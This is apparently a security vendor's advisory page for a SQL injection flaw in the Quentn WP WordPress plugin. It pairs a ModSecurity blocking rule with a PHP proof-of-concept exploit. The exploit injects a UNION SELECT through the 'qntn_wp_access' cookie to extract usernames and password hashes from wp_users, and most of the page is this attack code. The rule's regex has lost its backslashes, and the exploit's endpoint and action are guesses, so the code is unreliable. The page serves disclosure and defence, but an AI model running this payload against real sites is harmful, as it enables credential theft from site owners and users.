CVE-2026-2468: Quentn WP <= 1.2.12 – Unauthenticated SQL Injection via 'qntn_wp_access' Cookie (quentn-wp)

# Atomic Edge WAF Rule - CVE-2026-2468 (metadata-based)
# Targets unauthenticated SQL injection via qntn_wp_access cookie in Quentn WP plugin
# Rule structure assumes exploitation through WordPress AJAX handler
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20262468,phase:2,deny,status:403,chain,msg:'CVE-2026-2468: Quentn WP SQL Injection via qntn_wp_access Cookie',severity:'CRITICAL',tag:'CVE-2026-2468',tag:'WordPress',tag:'Plugin/quentn-wp',tag:'attack.sql-injection'"
  SecRule REQUEST_COOKIES:qntn_wp_access "@rx (?i)(?:'s*(?:union|select|insert|update|delete|drop|create|alter)s|(?:union|select)s*(|sleeps*(|benchmarks*(|pg_sleeps*(|b(?:or|xor)s+[ws]+s*[=<>]+s*[ws]+|/*![d]{5}.*?*/)" 
    "t:none,t:urlDecode,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E"

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-2468 - Quentn WP <= 1.2.12 - Unauthenticated SQL Injection via 'qntn_wp_access' Cookie
<?php
/**
 * Proof of Concept for CVE-2026-2468
 * Assumptions based on metadata:
 * 1. The 'qntn_wp_access' cookie triggers SQL injection in get_user_access()
 * 2. The plugin processes this cookie on various endpoints
 * 3. SQL injection is classic/union-based (description mentions 'append additional SQL queries')
 * 4. No authentication required
 *
 * This PoC targets a common WordPress AJAX endpoint as the attack vector.
 * Actual exploitation may require adjustment based on exact plugin implementation.
 */

$target_url = "http://vulnerable-site.com/wp-admin/admin-ajax.php"; // Configurable target

// Craft malicious cookie payload
// Attempts to extract WordPress user credentials via UNION injection
$sql_payload = "' UNION SELECT user_login,user_pass FROM wp_users WHERE 1=1-- -";

// Set up cURL request
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);

// Set the malicious cookie
curl_setopt($ch, CURLOPT_COOKIE, "qntn_wp_access=" . urlencode($sql_payload));

// WordPress AJAX typically uses POST with action parameter
// The exact action name is unknown from metadata, so we try common patterns
$post_data = array(
    'action' => 'quentn_wp_action', // Inferred from plugin slug
    'nonce' => 'dummy_nonce' // May not be required due to vulnerability
);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);

// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Analyze response for SQL injection indicators
if ($http_code == 200) {
    echo "[+] Request sent successfully.n";
    echo "[+] Check response for database errors or extracted data.n";
    echo "[+] Look for MySQL errors, user credentials, or unexpected data in response body.n";
    
    // Extract body from response
    $header_size = strpos($response, "rnrn");
    $body = substr($response, $header_size + 4);
    
    // Common SQL injection indicators
    $indicators = array(
        'SQL syntax',
        'mysql_fetch',
        'wp_users',
        'administrator',
        'UNION',
        'admin@'
    );
    
    foreach ($indicators as $indicator) {
        if (stripos($body, $indicator) !== false) {
            echo "[!] Possible SQL injection success: Found '$indicator' in response.n";
        }
    }
    
    // Display first 500 chars of response for manual inspection
    echo "n[Response Preview]:n" . substr($body, 0, 500) . "n...n";
} else {
    echo "[-] Request failed with HTTP code: $http_coden";
}

// Note: This PoC may require modification based on actual plugin implementation.
// Different endpoints or parameter structures may exist.
?>